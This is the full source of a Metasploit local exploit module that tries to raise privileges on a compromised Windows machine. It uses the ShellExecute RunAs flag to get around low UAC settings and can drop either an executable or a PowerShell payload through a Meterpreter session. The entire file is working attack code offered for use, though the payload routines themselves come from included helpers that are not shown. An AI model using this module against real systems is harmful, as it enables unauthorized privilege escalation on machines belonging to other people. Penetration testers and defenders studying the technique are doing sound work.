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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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  Rank = ExcellentRanking
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  include Post::Windows::Priv
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  include Post::Windows::Runas
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Windows Escalate UAC Execute RunAs',
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        'Description' => %q{
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          This module will attempt to elevate execution level using
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          the ShellExecute undocumented RunAs flag to bypass low
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          UAC settings.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'mubix', # Original technique
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          'b00stfr3ak' # Added powershell option
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        ],
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        'Platform' => ['win'],
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        'SessionTypes' => ['meterpreter'],
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        'Targets' => [['Windows', {}]],
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        'DefaultTarget' => 0,
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        'DisclosureDate' => '2012-01-03',
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options([
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      OptString.new('FILENAME', [false, 'File name on disk']),
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      OptString.new('PATH', [false, 'Location on disk, %TEMP% used if not set']),
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      OptEnum.new('TECHNIQUE', [true, 'Technique to use', 'EXE', %w(PSH EXE)]),
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    ])
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  end
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  def exploit
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    if is_uac_enabled?
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      print_status 'UAC is Enabled, checking level...'
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      case get_uac_level
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      when UAC_NO_PROMPT
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        print_good 'UAC is not enabled, no prompt for the user'
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      else
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        print_status "The user will be prompted, wait for them to click 'Ok'"
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      end
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    else
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      print_good 'UAC is not enabled, no prompt for the user'
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    end
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    case datastore['TECHNIQUE']
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    when 'EXE'
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      shell_execute_exe(datastore['FILENAME'], datastore['PATH'])
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    when 'PSH'
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      shell_execute_psh
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    end
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  end
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end
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